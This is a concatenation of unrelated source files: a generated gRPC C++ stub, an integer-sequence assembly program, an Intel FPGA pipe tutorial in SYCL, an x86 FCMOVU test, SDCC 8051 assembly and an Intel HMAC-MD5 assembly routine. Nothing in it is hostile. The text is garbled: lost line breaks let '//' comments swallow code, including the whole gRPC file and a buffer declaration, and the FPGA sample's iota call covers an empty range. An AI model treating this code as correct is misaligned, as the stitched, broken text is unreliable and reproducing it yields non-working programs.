// Generated by the gRPC C++ plugin. // If you make any local change, they will be lost. // source: google/cloud/ml/v1/project_service.proto #include "google/cloud/ml/v1/project_service.pb.h" #include "google/cloud/ml/v1/project_service.grpc.pb.h" #include <grpcpp/impl/codegen/async_stream.h> #include <grpcpp/impl/codegen/async_unary_call.h> #include <grpcpp/impl/codegen/channel_interface.h> #include <grpcpp/impl/codegen/client_unary_call.h> #include <grpcpp/impl/codegen/method_handler_impl.h> #include <grpcpp/impl/codegen/rpc_service_method.h> #include <grpcpp/impl/codegen/service_type.h> #include <grpcpp/impl/codegen/sync_stream.h> namespace google { namespace cloud { namespace ml { namespace v1 { static const char* ProjectManagementService_method_names[] = { "/google.cloud.ml.v1.ProjectManagementService/GetConfig", }; std::unique_ptr< ProjectManagementService::Stub> ProjectManagementService::NewStub(const std::shared_ptr< ::grpc::ChannelInterface>& channel, const ::grpc::StubOptions& options) { (void)options; std::unique_ptr< ProjectManagementService::Stub> stub(new ProjectManagementService::Stub(channel)); return stub; } ProjectManagementService::Stub::Stub(const std::shared_ptr< ::grpc::ChannelInterface>& channel) : channel_(channel), rpcmethod_GetConfig_(ProjectManagementService_method_names[0], ::grpc::internal::RpcMethod::NORMAL_RPC, channel) {} ::grpc::Status ProjectManagementService::Stub::GetConfig(::grpc::ClientContext* context, const ::google::cloud::ml::v1::GetConfigRequest& request, ::google::cloud::ml::v1::GetConfigResponse* response) { return ::grpc::internal::BlockingUnaryCall(channel_.get(), rpcmethod_GetConfig_, context, request, response); } ::grpc::ClientAsyncResponseReader< ::google::cloud::ml::v1::GetConfigResponse>* ProjectManagementService::Stub::AsyncGetConfigRaw(::grpc::ClientContext* context, const ::google::cloud::ml::v1::GetConfigRequest& request, ::grpc::CompletionQueue* cq) { return ::grpc::internal::ClientAsyncResponseReaderFactory< ::google::cloud::ml::v1::GetConfigResponse>::Create(channel_.get(), cq, rpcmethod_GetConfig_, context, request, true); } ::grpc::ClientAsyncResponseReader< ::google::cloud::ml::v1::GetConfigResponse>* ProjectManagementService::Stub::PrepareAsyncGetConfigRaw(::grpc::ClientContext* context, const ::google::cloud::ml::v1::GetConfigRequest& request, ::grpc::CompletionQueue* cq) { return ::grpc::internal::ClientAsyncResponseReaderFactory< ::google::cloud::ml::v1::GetConfigResponse>::Create(channel_.get(), cq, rpcmethod_GetConfig_, context, request, false); } ProjectManagementService::Service::Service() { AddMethod(new ::grpc::internal::RpcServiceMethod( ProjectManagementService_method_names[0], ::grpc::internal::RpcMethod::NORMAL_RPC, new ::grpc::internal::RpcMethodHandler< ProjectManagementService::Service, ::google::cloud::ml::v1::GetConfigRequest, ::google::cloud::ml::v1::GetConfigResponse>( std::mem_fn(&ProjectManagementService::Service::GetConfig), this))); } ProjectManagementService::Service::~Service() { } ::grpc::Status ProjectManagementService::Service::GetConfig(::grpc::ServerContext* context, const ::google::cloud::ml::v1::GetConfigRequest* request, ::google::cloud::ml::v1::GetConfigResponse* response) { (void) context; (void) request; (void) response; return ::grpc::Status(::grpc::StatusCode::UNIMPLEMENTED, ""); } } // namespace google } // namespace cloud } // namespace ml } // namespace v1
; A026200: a(n) = (s(n) + 2)/3, where s(n) is the n-th number congruent to 1 mod 3 in A026166. ; 1,2,4,6,3,8,10,12,5,14,16,18,7,20,22,24,9,26,28,30,11,32,34,36,13,38,40,42,15,44,46,48,17,50,52,54,19,56,58,60,21,62,64,66,23,68,70,72,25,74,76,78,27,80,82,84,29,86,88,90,31,92,94,96,33,98,100,102,35,104,106,108,37,110,112,114,39,116,118,120,41,122,124,126,43,128,130,132,45,134,136,138,47,140,142,144,49,146,148,150,51,152,154,156,53,158,160,162,55,164,166,168,57,170,172,174,59,176,178,180,61,182,184,186,63,188,190,192,65,194,196,198,67,200,202,204,69,206,208,210,71,212,214,216,73,218,220,222,75,224,226,228,77,230,232,234,79,236,238,240,81,242,244,246,83,248,250,252,85,254,256,258,87,260,262,264,89,266,268,270,91,272,274,276,93,278,280,282,95,284,286,288,97,290,292,294,99,296,298,300,101,302,304,306,103,308,310,312,105,314,316,318,107,320,322,324,109,326,328,330,111,332,334,336,113,338,340,342,115,344,346,348,117,350,352,354,119,356,358,360,121,362,364,366,123,368,370,372,125,374 mov $1,$0 add $1,$0 mov $3,$0 mod $0,4 sub $3,1 add $3,$0 lpb $0,1 mov $0,$2 add $1,$3 mul $1,2 lpe div $1,4 add $1,1
//============================================================== // Copyright Intel Corporation // // SPDX-License-Identifier: MIT // ============================================================= #include <CL/sycl.hpp> #include <CL/sycl/INTEL/fpga_extensions.hpp> #include <iomanip> #include <iostream> #include <vector> // dpc_common.hpp can be found in the dev-utilities include folder. // e.g., $ONEAPI_ROOT/dev-utilities//include/dpc_common.hpp #include "dpc_common.hpp" using namespace sycl; using ProducerToConsumerPipe = INTEL::pipe< // Defined in the SYCL headers. class ProducerConsumerPipe, // An identifier for the pipe. int, // The type of data in the pipe. 4>; // The capacity of the pipe. // Forward declare the kernel names to reduce name mangling class ProducerTutorial; class ConsumerTutorial; // The Producer kernel reads data from a SYCL buffer and writes it to // a pipe. This transfers the input data from the host to the Consumer kernel // that is running concurrently. event Producer(queue &q, buffer<int, 1> &input_buffer) { std::cout << "Enqueuing producer...\n"; auto e = q.submit([&](handler &h) { accessor input_accessor(input_buffer, h, read_only); size_t num_elements = input_buffer.get_count(); h.single_task<ProducerTutorial>([=]() { for (size_t i = 0; i < num_elements; ++i) { ProducerToConsumerPipe::write(input_accessor[i]); } }); }); return e; } // An example of some simple work, to be done by the Consumer kernel // on the input data int ConsumerWork(int i) { return i * i; } // The Consumer kernel reads data from the pipe, performs some work // on the data, and writes the results to an output buffer event Consumer(queue &q, buffer<int, 1> &out_buf) { std::cout << "Enqueuing consumer...\n"; auto e = q.submit([&](handler &h) { accessor out_accessor(out_buf, h, write_only, noinit); size_t num_elements = out_buf.get_count(); h.single_task<ConsumerTutorial>([=]() { for (size_t i = 0; i < num_elements; ++i) { // read the input from the pipe int input = ProducerToConsumerPipe::read(); // do work on the input int answer = ConsumerWork(input); // write the result to the output buffer out_accessor[i] = answer; } }); }); return e; } int main(int argc, char *argv[]) { // Default values for the buffer size is based on whether the target is the // FPGA emulator or actual FPGA hardware #if defined(FPGA_EMULATOR) size_t array_size = 1 << 12; #else size_t array_size = 1 << 20; #endif // allow the user to change the buffer size at the command line if (argc > 1) { std::string option(argv[1]); if (option == "-h" || option == "--help") { std::cout << "Usage: \n./pipes <data size>\n\nFAILED\n"; return 1; } else { array_size = atoi(argv[1]); } } std::cout << "Input Array Size: " << array_size << "\n"; std::vector<int> producer_input(array_size, -1); std::vector<int> consumer_output(array_size, -1); // Initialize the input data with numbers from 0, 1, 2, ..., array_size-1 std::iota(producer_input.begin(), producer_input.begin(), 0); #if defined(FPGA_EMULATOR) INTEL::fpga_emulator_selector device_selector; #else INTEL::fpga_selector device_selector; #endif event producer_event, consumer_event; try { // property list to enable SYCL profiling for the device queue auto props = property_list{property::queue::enable_profiling()}; // create the device queue with SYCL profiling enabled queue q(device_selector, dpc_common::exception_handler, props); // create the buffer producer_buffer(producer_input); buffer consumer_buffer(consumer_output); // Run the two kernels concurrently. The Producer kernel sends // data via a pipe to the Consumer kernel. producer_event = Producer(q, producer_buffer); consumer_event = Consumer(q, consumer_buffer); } catch (exception const &e) { // Catches exceptions in the host code std::cerr << "Caught a SYCL host exception:\n" << e.what() << "\n"; // Most likely the runtime couldn't find FPGA hardware! if (e.get_cl_code() == CL_DEVICE_NOT_FOUND) { std::cerr << "If you are targeting an FPGA, please ensure that your " "system has a correctly configured FPGA board.\n"; std::cerr << "Run sys_check in the oneAPI root directory to verify.\n"; std::cerr << "If you are targeting the FPGA emulator, compile with " "-DFPGA_EMULATOR.\n"; } std::terminate(); } // At this point, the producer_buffer and consumer_buffer have gone out // of scope. This will cause their destructors to be called, which will in // turn block until the Producer and Consumer kernels are finished and the // output data is copied back to the host. Therefore, at this point it is // safe and correct to access the contents of the consumer_output vector. // print profiling information // alias the 'info::event_profiling' namespace to save column space using syclprof = info::event_profiling; // start and end time of the Producer kernel double p_start = producer_event.get_profiling_info<syclprof::command_start>(); double p_end = producer_event.get_profiling_info<syclprof::command_end>(); // start and end time of the Consumer kernel double c_start = consumer_event.get_profiling_info<syclprof::command_start>(); double c_end = consumer_event.get_profiling_info<syclprof::command_end>(); // the total application time double total_time_ms = (c_end - p_start) * 1e-6; // the input size in MBs double input_size_mb = array_size * sizeof(int) * 1e-6; // the total application throughput double throughput_mbs = input_size_mb / (total_time_ms * 1e-3); // Print the start times normalized to the start time of the producer. // i.e. the producer starts at 0ms and the other start/end times are // reported as differences to that number (+X ms). std::cout << std::fixed << std::setprecision(3); std::cout << "\n"; std::cout << "Profiling Info\n"; std::cout << "\tProducer:\n"; std::cout << "\t\tStart time: " << 0 << " ms\n"; std::cout << "\t\tEnd time: +" << (p_end-p_start)*1e-6 << " ms\n"; std::cout << "\t\tKernel Duration: " << (p_end-p_start)*1e-6 << " ms\n"; std::cout << "\tConsumer:\n"; std::cout << "\t\tStart time: +" << (c_start-p_start)*1e-6 << " ms\n"; std::cout << "\t\tEnd time: +" << (c_end-p_start)*1e-6 << " ms\n"; std::cout << "\t\tKernel Duration: " << (c_end-c_start)*1e-6 << " ms\n"; std::cout << "\tDesign Duration: " << total_time_ms << " ms\n"; std::cout << "\tDesign Throughput: " << throughput_mbs << " MB/s\n"; std::cout << "\n"; // Verify the result for (size_t i = 0; i < array_size; i++) { if (consumer_output[i] != ConsumerWork(producer_input[i])) { std::cout << "input = " << producer_input[i] << " expected: " << ConsumerWork(producer_input[i]) << " got: " << consumer_output[i] << "\n"; std::cout << "FAILED: The results are incorrect\n"; return 1; } } std::cout << "PASSED: The results are correct\n"; return 0; }
BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END FLDPI FLD1 ;SET PF MOV EAX, 0x3 CMP EAX, 0 ;TEST_BEGIN_RECORDING fcmovu st0, st1 ;TEST_END_RECORDING
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 3.3.0 #8604 (Dec 30 2013) (Linux) ; This file was generated Wed Dec 13 19:28:30 2017 ;-------------------------------------------------------- .module test .optsdcc -mmcs51 --model-small ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- .globl _main .globl _Delay .globl _CY .globl _AC .globl _F0 .globl _RS1 .globl _RS0 .globl _OV .globl _F1 .globl _P .globl _PS .globl _PT1 .globl _PX1 .globl _PT0 .globl _PX0 .globl _RD .globl _WR .globl _T1 .globl _T0 .globl _INT1 .globl _INT0 .globl _TXD .globl _RXD .globl _P3_7 .globl _P3_6 .globl _P3_5 .globl _P3_4 .globl _P3_3 .globl _P3_2 .globl _P3_1 .globl _P3_0 .globl _EA .globl _ES .globl _ET1 .globl _EX1 .globl _ET0 .globl _EX0 .globl _P2_7 .globl _P2_6 .globl _P2_5 .globl _P2_4 .globl _P2_3 .globl _P2_2 .globl _P2_1 .globl _P2_0 .globl _SM0 .globl _SM1 .globl _SM2 .globl _REN .globl _TB8 .globl _RB8 .globl _TI .globl _RI .globl _P1_7 .globl _P1_6 .globl _P1_5 .globl _P1_4 .globl _P1_3 .globl _P1_2 .globl _P1_1 .globl _P1_0 .globl _TF1 .globl _TR1 .globl _TF0 .globl _TR0 .globl _IE1 .globl _IT1 .globl _IE0 .globl _IT0 .globl _P0_7 .globl _P0_6 .globl _P0_5 .globl _P0_4 .globl _P0_3 .globl _P0_2 .globl _P0_1 .globl _P0_0 .globl _B .globl _ACC .globl _PSW .globl _IP .globl _P3 .globl _IE .globl _P2 .globl _SBUF .globl _SCON .globl _P1 .globl _TH1 .globl _TH0 .globl _TL1 .globl _TL0 .globl _TMOD .globl _TCON .globl _PCON .globl _DPH .globl _DPL .globl _SP .globl _P0 .globl _tab ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- .area RSEG (ABS,DATA) .org 0x0000 _P0 = 0x0080 _SP = 0x0081 _DPL = 0x0082 _DPH = 0x0083 _PCON = 0x0087 _TCON = 0x0088 _TMOD = 0x0089 _TL0 = 0x008a _TL1 = 0x008b _TH0 = 0x008c _TH1 = 0x008d _P1 = 0x0090 _SCON = 0x0098 _SBUF = 0x0099 _P2 = 0x00a0 _IE = 0x00a8 _P3 = 0x00b0 _IP = 0x00b8 _PSW = 0x00d0 _ACC = 0x00e0 _B = 0x00f0 ;-------------------------------------------------------- ; special function bits ;-------------------------------------------------------- .area RSEG (ABS,DATA) .org 0x0000 _P0_0 = 0x0080 _P0_1 = 0x0081 _P0_2 = 0x0082 _P0_3 = 0x0083 _P0_4 = 0x0084 _P0_5 = 0x0085 _P0_6 = 0x0086 _P0_7 = 0x0087 _IT0 = 0x0088 _IE0 = 0x0089 _IT1 = 0x008a _IE1 = 0x008b _TR0 = 0x008c _TF0 = 0x008d _TR1 = 0x008e _TF1 = 0x008f _P1_0 = 0x0090 _P1_1 = 0x0091 _P1_2 = 0x0092 _P1_3 = 0x0093 _P1_4 = 0x0094 _P1_5 = 0x0095 _P1_6 = 0x0096 _P1_7 = 0x0097 _RI = 0x0098 _TI = 0x0099 _RB8 = 0x009a _TB8 = 0x009b _REN = 0x009c _SM2 = 0x009d _SM1 = 0x009e _SM0 = 0x009f _P2_0 = 0x00a0 _P2_1 = 0x00a1 _P2_2 = 0x00a2 _P2_3 = 0x00a3 _P2_4 = 0x00a4 _P2_5 = 0x00a5 _P2_6 = 0x00a6 _P2_7 = 0x00a7 _EX0 = 0x00a8 _ET0 = 0x00a9 _EX1 = 0x00aa _ET1 = 0x00ab _ES = 0x00ac _EA = 0x00af _P3_0 = 0x00b0 _P3_1 = 0x00b1 _P3_2 = 0x00b2 _P3_3 = 0x00b3 _P3_4 = 0x00b4 _P3_5 = 0x00b5 _P3_6 = 0x00b6 _P3_7 = 0x00b7 _RXD = 0x00b0 _TXD = 0x00b1 _INT0 = 0x00b2 _INT1 = 0x00b3 _T0 = 0x00b4 _T1 = 0x00b5 _WR = 0x00b6 _RD = 0x00b7 _PX0 = 0x00b8 _PT0 = 0x00b9 _PX1 = 0x00ba _PT1 = 0x00bb _PS = 0x00bc _P = 0x00d0 _F1 = 0x00d1 _OV = 0x00d2 _RS0 = 0x00d3 _RS1 = 0x00d4 _F0 = 0x00d5 _AC = 0x00d6 _CY = 0x00d7 ;-------------------------------------------------------- ; overlayable register banks ;-------------------------------------------------------- .area REG_BANK_0 (REL,OVR,DATA) .ds 8 ;-------------------------------------------------------- ; internal ram data ;-------------------------------------------------------- .area DSEG (DATA) _tab:: .ds 8 ;-------------------------------------------------------- ; overlayable items in internal ram ;-------------------------------------------------------- .area OSEG (OVR,DATA) ;-------------------------------------------------------- ; Stack segment in internal ram ;-------------------------------------------------------- .area SSEG (DATA) __start__stack: .ds 1 ;-------------------------------------------------------- ; indirectly addressable internal ram data ;-------------------------------------------------------- .area ISEG (DATA) ;-------------------------------------------------------- ; absolute internal ram data ;-------------------------------------------------------- .area IABS (ABS,DATA) .area IABS (ABS,DATA) ;-------------------------------------------------------- ; bit data ;-------------------------------------------------------- .area BSEG (BIT) ;-------------------------------------------------------- ; paged external ram data ;-------------------------------------------------------- .area PSEG (PAG,XDATA) ;-------------------------------------------------------- ; external ram data ;-------------------------------------------------------- .area XSEG (XDATA) ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- .area XABS (ABS,XDATA) ;-------------------------------------------------------- ; external initialized ram data ;-------------------------------------------------------- .area XISEG (XDATA) .area HOME (CODE) .area GSINIT0 (CODE) .area GSINIT1 (CODE) .area GSINIT2 (CODE) .area GSINIT3 (CODE) .area GSINIT4 (CODE) .area GSINIT5 (CODE) .area GSINIT (CODE) .area GSFINAL (CODE) .area CSEG (CODE) ;-------------------------------------------------------- ; interrupt vector ;-------------------------------------------------------- .area HOME (CODE) __interrupt_vect: ljmp __sdcc_gsinit_startup ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- .area HOME (CODE) .area GSINIT (CODE) .area GSFINAL (CODE) .area GSINIT (CODE) .globl __sdcc_gsinit_startup .globl __sdcc_program_startup .globl __start__stack .globl __mcs51_genXINIT .globl __mcs51_genXRAMCLEAR .globl __mcs51_genRAMCLEAR ; test.c:7: uchar tab[8] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80}; mov _tab,#0x01 mov (_tab + 0x0001),#0x02 mov (_tab + 0x0002),#0x04 mov (_tab + 0x0003),#0x08 mov (_tab + 0x0004),#0x10 mov (_tab + 0x0005),#0x20 mov (_tab + 0x0006),#0x40 mov (_tab + 0x0007),#0x80 .area GSFINAL (CODE) ljmp __sdcc_program_startup ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- .area HOME (CODE) .area HOME (CODE) __sdcc_program_startup: ljmp _main ; return from main will return to caller ;-------------------------------------------------------- ; code ;-------------------------------------------------------- .area CSEG (CODE) ;------------------------------------------------------------ ;Allocation info for local variables in function 'Delay' ;------------------------------------------------------------ ;xms Allocated to registers ;i Allocated to registers r6 r7 ;j Allocated to registers r4 r5 ;------------------------------------------------------------ ; test.c:9: void Delay(uint xms) ; ----------------------------------------- ; function Delay ; ----------------------------------------- _Delay: ar7 = 0x07 ar6 = 0x06 ar5 = 0x05 ar4 = 0x04 ar3 = 0x03 ar2 = 0x02 ar1 = 0x01 ar0 = 0x00 mov r6,dpl mov r7,dph ; test.c:15: for (i = xms; i > 0; i--) 00106$: mov a,r6 orl a,r7 jz 00108$ ; test.c:17: for (j = 110; j > 0; j--) mov r4,#0x6E mov r5,#0x00 00104$: dec r4 cjne r4,#0xFF,00129$ dec r5 00129$: mov a,r4 orl a,r5 jnz 00104$ ; test.c:15: for (i = xms; i > 0; i--) dec r6 cjne r6,#0xFF,00131$ dec r7 00131$: sjmp 00106$ 00108$: ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'main' ;------------------------------------------------------------ ;i Allocated to registers r7 ;------------------------------------------------------------ ; test.c:21: void main() ; ----------------------------------------- ; function main ; ----------------------------------------- _main: ; test.c:31: for (i = 0; i < 8; i++) 00109$: mov r7,#0x00 00105$: ; test.c:35: P1 = tab[i]; mov a,r7 add a,#_tab mov r1,a mov _P1,@r1 ; test.c:37: Delay(100); mov dptr,#0x0064 push ar7 lcall _Delay pop ar7 ; test.c:31: for (i = 0; i < 8; i++) inc r7 cjne r7,#0x08,00119$ 00119$: jc 00105$ sjmp 00109$ .area CSEG (CODE) .area CONST (CODE) .area XINIT (CODE) .area CABS (ABS,CODE)
;; ;; Copyright (c) 2012-2020, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" %include "include/imb_job.asm" %include "include/mb_mgr_datastruct.asm" %include "include/reg_sizes.asm" %include "include/cet.inc" extern md5_x4x2_sse section .data default rel align 16 dupw: ;ddq 0x01000100010001000100010001000100 dq 0x0100010001000100, 0x0100010001000100 len_masks: ;ddq 0x0000000000000000000000000000FFFF dq 0x000000000000FFFF, 0x0000000000000000 ;ddq 0x000000000000000000000000FFFF0000 dq 0x00000000FFFF0000, 0x0000000000000000 ;ddq 0x00000000000000000000FFFF00000000 dq 0x0000FFFF00000000, 0x0000000000000000 ;ddq 0x0000000000000000FFFF000000000000 dq 0xFFFF000000000000, 0x0000000000000000 ;ddq 0x000000000000FFFF0000000000000000 dq 0x0000000000000000, 0x000000000000FFFF ;ddq 0x00000000FFFF00000000000000000000 dq 0x0000000000000000, 0x00000000FFFF0000 ;ddq 0x0000FFFF000000000000000000000000 dq 0x0000000000000000, 0x0000FFFF00000000 ;ddq 0xFFFF0000000000000000000000000000 dq 0x0000000000000000, 0xFFFF000000000000 one: dq 1 two: dq 2 three: dq 3 four: dq 4 five: dq 5 six: dq 6 seven: dq 7 section .text %if 1 %ifdef LINUX %define arg1 rdi %define arg2 rsi %else %define arg1 rcx %define arg2 rdx %endif %define state arg1 %define job arg2 %define len2 arg2 ; idx needs to be in rbp %define idx rbp ; unused_lanes must be in rax-rdx %define unused_lanes rbx %define lane_data rbx %define tmp2 rbx %define job_rax rax %define tmp1 rax %define size_offset rax %define tmp rax %define start_offset rax %define tmp3 arg1 %define extra_blocks arg2 %define p arg2 %define tmp4 r8 %define tmp5 r9 %endif ; This routine and/or the called routine clobbers all GPRs struc STACK _gpr_save: resq 8 _rsp_save: resq 1 endstruc %define APPEND(a,b) a %+ b ; JOB* flush_job_hmac_md5_sse(MB_MGR_HMAC_MD5_OOO *state) ; arg 1 : rcx : state MKGLOBAL(flush_job_hmac_md5_sse,function,internal) flush_job_hmac_md5_sse: endbranch64 mov rax, rsp sub rsp, STACK_size and rsp, -16 mov [rsp + _gpr_save + 8*0], rbx mov [rsp + _gpr_save + 8*1], rbp mov [rsp + _gpr_save + 8*2], r12 mov [rsp + _gpr_save + 8*3], r13 mov [rsp + _gpr_save + 8*4], r14 mov [rsp + _gpr_save + 8*5], r15 %ifndef LINUX mov [rsp + _gpr_save + 8*6], rsi mov [rsp + _gpr_save + 8*7], rdi %endif mov [rsp + _rsp_save], rax ; original SP mov unused_lanes, [state + _unused_lanes_md5] bt unused_lanes, 32+3 jc return_null ; find a lane with a non-null job xor idx, idx cmp qword [state + _ldata_md5 + 1 * _HMAC_SHA1_LANE_DATA_size + _job_in_lane],0 cmovne idx, [rel one] cmp qword [state + _ldata_md5 + 2 * _HMAC_SHA1_LANE_DATA_size + _job_in_lane],0 cmovne idx, [rel two] cmp qword [state + _ldata_md5 + 3 * _HMAC_SHA1_LANE_DATA_size + _job_in_lane],0 cmovne idx, [rel three] cmp qword [state + _ldata_md5 + 4 * _HMAC_SHA1_LANE_DATA_size + _job_in_lane],0 cmovne idx, [rel four] cmp qword [state + _ldata_md5 + 5 * _HMAC_SHA1_LANE_DATA_size + _job_in_lane],0 cmovne idx, [rel five] cmp qword [state + _ldata_md5 + 6 * _HMAC_SHA1_LANE_DATA_size + _job_in_lane],0 cmovne idx, [rel six] cmp qword [state + _ldata_md5 + 7 * _HMAC_SHA1_LANE_DATA_size + _job_in_lane],0 cmovne idx, [rel seven] copy_lane_data: endbranch64 ; copy good lane (idx) to empty lanes movdqa xmm0, [state + _lens_md5] mov tmp, [state + _args_data_ptr_md5 + PTR_SZ*idx] %assign I 0 %rep 8 cmp qword [state + _ldata_md5 + I * _HMAC_SHA1_LANE_DATA_size + _job_in_lane], 0 jne APPEND(skip_,I) mov [state + _args_data_ptr_md5 + PTR_SZ*I], tmp por xmm0, [rel len_masks + 16*I] APPEND(skip_,I): %assign I (I+1) %endrep movdqa [state + _lens_md5], xmm0 phminposuw xmm1, xmm0 pextrw len2, xmm1, 0 ; min value pextrw idx, xmm1, 1 ; min index (0...3) cmp len2, 0 je len_is_0 pshufb xmm1, [rel dupw] ; duplicate words across all lanes psubw xmm0, xmm1 movdqa [state + _lens_md5], xmm0 ; "state" and "args" are the same address, arg1 ; len is arg2 call md5_x4x2_sse ; state and idx are intact len_is_0: ; process completed job "idx" imul lane_data, idx, _HMAC_SHA1_LANE_DATA_size lea lane_data, [state + _ldata_md5 + lane_data] mov DWORD(extra_blocks), [lane_data + _extra_blocks] cmp extra_blocks, 0 jne proc_extra_blocks cmp dword [lane_data + _outer_done], 0 jne end_loop proc_outer: mov dword [lane_data + _outer_done], 1 mov DWORD(size_offset), [lane_data + _size_offset] mov qword [lane_data + _extra_block + size_offset], 0 mov word [state + _lens_md5 + 2*idx], 1 lea tmp, [lane_data + _outer_block] mov job, [lane_data + _job_in_lane] mov [state + _args_data_ptr_md5 + PTR_SZ*idx], tmp movd xmm0, [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 0*MD5_DIGEST_ROW_SIZE] pinsrd xmm0, [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 1*MD5_DIGEST_ROW_SIZE], 1 pinsrd xmm0, [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 2*MD5_DIGEST_ROW_SIZE], 2 pinsrd xmm0, [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 3*MD5_DIGEST_ROW_SIZE], 3 ; pshufb xmm0, [byteswap wrt rip] movdqa [lane_data + _outer_block], xmm0 mov tmp, [job + _auth_key_xor_opad] movdqu xmm0, [tmp] movd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 0*MD5_DIGEST_ROW_SIZE], xmm0 pextrd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 1*MD5_DIGEST_ROW_SIZE], xmm0, 1 pextrd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 2*MD5_DIGEST_ROW_SIZE], xmm0, 2 pextrd [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 3*MD5_DIGEST_ROW_SIZE], xmm0, 3 jmp copy_lane_data align 16 proc_extra_blocks: mov DWORD(start_offset), [lane_data + _start_offset] mov [state + _lens_md5 + 2*idx], WORD(extra_blocks) lea tmp, [lane_data + _extra_block + start_offset] mov [state + _args_data_ptr_md5 + PTR_SZ*idx], tmp mov dword [lane_data + _extra_blocks], 0 jmp copy_lane_data return_null: xor job_rax, job_rax jmp return align 16 end_loop: mov job_rax, [lane_data + _job_in_lane] mov qword [lane_data + _job_in_lane], 0 or dword [job_rax + _status], IMB_STATUS_COMPLETED_AUTH mov unused_lanes, [state + _unused_lanes_md5] shl unused_lanes, 4 or unused_lanes, idx mov [state + _unused_lanes_md5], unused_lanes mov p, [job_rax + _auth_tag_output] ; copy 12 bytes mov DWORD(tmp2), [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 0*MD5_DIGEST_ROW_SIZE] mov DWORD(tmp4), [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 1*MD5_DIGEST_ROW_SIZE] mov DWORD(tmp5), [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 2*MD5_DIGEST_ROW_SIZE] ; bswap DWORD(tmp2) ; bswap DWORD(tmp4) ; bswap DWORD(tmp3) mov [p + 0*4], DWORD(tmp2) mov [p + 1*4], DWORD(tmp4) mov [p + 2*4], DWORD(tmp5) cmp DWORD [job_rax + _auth_tag_output_len_in_bytes], 12 je clear_ret ; copy 16 bytes mov DWORD(tmp5), [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*idx + 3*MD5_DIGEST_ROW_SIZE] mov [p + 3*4], DWORD(tmp5) clear_ret: %ifdef SAFE_DATA pxor xmm0, xmm0 ;; Clear digest (16B), outer_block (16B) and extra_block (64B) ;; of returned job and NULL jobs %assign I 0 %rep 8 cmp qword [state + _ldata_md5 + (I*_HMAC_SHA1_LANE_DATA_size) + _job_in_lane], 0 jne APPEND(skip_clear_,I) ;; Clear digest (16 bytes) %assign J 0 %rep 4 mov dword [state + _args_digest_md5 + MD5_DIGEST_WORD_SIZE*I + J*MD5_DIGEST_ROW_SIZE], 0 %assign J (J+1) %endrep lea lane_data, [state + _ldata_md5 + (I*_HMAC_SHA1_LANE_DATA_size)] ;; Clear first 64 bytes of extra_block %assign offset 0 %rep 4 movdqa [lane_data + _extra_block + offset], xmm0 %assign offset (offset + 16) %endrep ;; Clear first 16 bytes of outer_block movdqa [lane_data + _outer_block], xmm0 APPEND(skip_clear_,I): %assign I (I+1) %endrep %endif ;; SAFE_DATA return: endbranch64 mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] mov r12, [rsp + _gpr_save + 8*2] mov r13, [rsp + _gpr_save + 8*3] mov r14, [rsp + _gpr_save + 8*4] mov r15, [rsp + _gpr_save + 8*5] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*6] mov rdi, [rsp + _gpr_save + 8*7] %endif mov rsp, [rsp + _rsp_save] ; original SP ret %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif
